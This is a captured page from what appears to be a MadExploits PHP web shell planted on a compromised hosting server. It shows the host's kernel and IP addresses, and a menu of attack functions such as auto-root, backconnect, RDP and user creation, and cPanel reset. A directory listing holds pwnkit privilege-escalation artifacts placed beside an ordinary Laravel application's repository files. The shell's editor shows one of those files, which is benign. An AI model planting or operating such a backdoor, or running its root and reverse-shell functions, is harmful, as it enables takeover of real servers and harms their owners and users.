Linux clientvps21.redlake.in 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
LiteSpeed
: 95.216.48.241 | : 216.73.216.125
14 Domain
8.1.34
mydemowebs
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
mydemowebs /
.trash /
app /
Repositories /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
AddonRepository.php
5.35
KB
-rwxr-xr-x
AttributeRepository.php
2.79
KB
-rwxr-xr-x
BannerRepository.php
2.86
KB
-rwxr-xr-x
BrandRepository.php
3.59
KB
-rwxr-xr-x
CashBackRepository.php
2.54
KB
-rwxr-xr-x
CategoryRepository.php
7.18
KB
-rwxr-xr-x
CommonConditionRepository.php
3.04
KB
-rwxr-xr-x
ConversationRepository.php
5.75
KB
-rwxr-xr-x
CouponRepository.php
3.05
KB
-rwxr-xr-x
CustomRoleRepository.php
2.67
KB
-rwxr-xr-x
DeliveryManRepository.php
8.83
KB
-rwxr-xr-x
DmReviewRepository.php
3.2
KB
-rwxr-xr-x
DmVehicleRepository.php
4.65
KB
-rwxr-xr-x
EmployeeRepository.php
5
KB
-rwxr-xr-x
MessageRepository.php
1.85
KB
-rwxr-xr-x
ModuleRepository.php
3.53
KB
-rwxr-xr-x
NotificationRepository.php
2.83
KB
-rwxr-xr-x
OrderTransactionRepository.php
2.4
KB
-rwxr-xr-x
StoreRepository.php
1.89
KB
-rwxr-xr-x
TranslationRepository.php
3.81
KB
-rwxr-xr-x
UnitRepository.php
2.55
KB
-rwxr-xr-x
UserInfoRepository.php
1.96
KB
-rwxr-xr-x
UserNotificationRepository.php
2.06
KB
-rwxr-xr-x
WalletBonusRepository.php
2.35
KB
-rwxr-xr-x
ZoneRepository.php
3.95
KB
-rwxr-xr-x
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : NotificationRepository.php
<?php namespace App\Repositories; use App\CentralLogics\Helpers; use App\Contracts\Repositories\NotificationRepositoryInterface; use App\Models\Notification; use Illuminate\Database\Eloquent\Collection; use Illuminate\Database\Eloquent\Model; use Illuminate\Http\Request; use Illuminate\Pagination\LengthAwarePaginator; use Illuminate\Support\Facades\Storage; class NotificationRepository implements NotificationRepositoryInterface { public function __construct(protected Notification $notification) { } public function add(array $data): string|object { $notification = $this->notification->newInstance(); foreach ($data as $key => $column) { $notification[$key] = $column; } $notification->save(); return $notification; } public function getFirstWhere(array $params, array $relations = []): ?Model { return $this->notification->where($params)->first(); } public function getList(array $orderBy = [], array $relations = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator { return $this->notification->paginate($dataLimit); } public function getListWhere(string $searchValue = null, array $filters = [], array $relations = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator { $key = explode(' ', $searchValue); return $this->notification->with($relations)->where($filters) ->when(isset($key ), function ($q) use ($key){ $q->where(function ($q) use ($key) { foreach ($key as $value) { $q->orWhere('title', 'like', "%{$value}%"); } }); }) ->latest() ->paginate($dataLimit); } public function update(string $id, array $data): bool|string|object { $notification = $this->notification->find($id); foreach ($data as $key => $column) { $notification[$key] = $column; } $notification->save(); return $notification; } public function delete(string $id): bool { $notification = $this->notification->find($id); Helpers::check_and_delete('notification/' , $notification['image']); $notification->delete(); return true; } public function getExportList(Request $request): Collection { $key = explode(' ', $request['search']); return $this->notification->when(isset($key ), function ($q) use ($key){ $q->where(function ($q) use ($key) { foreach ($key as $value) { $q->orWhere('title', 'like', "%{$value}%"); } }); }) ->latest() ->get(); } }
Close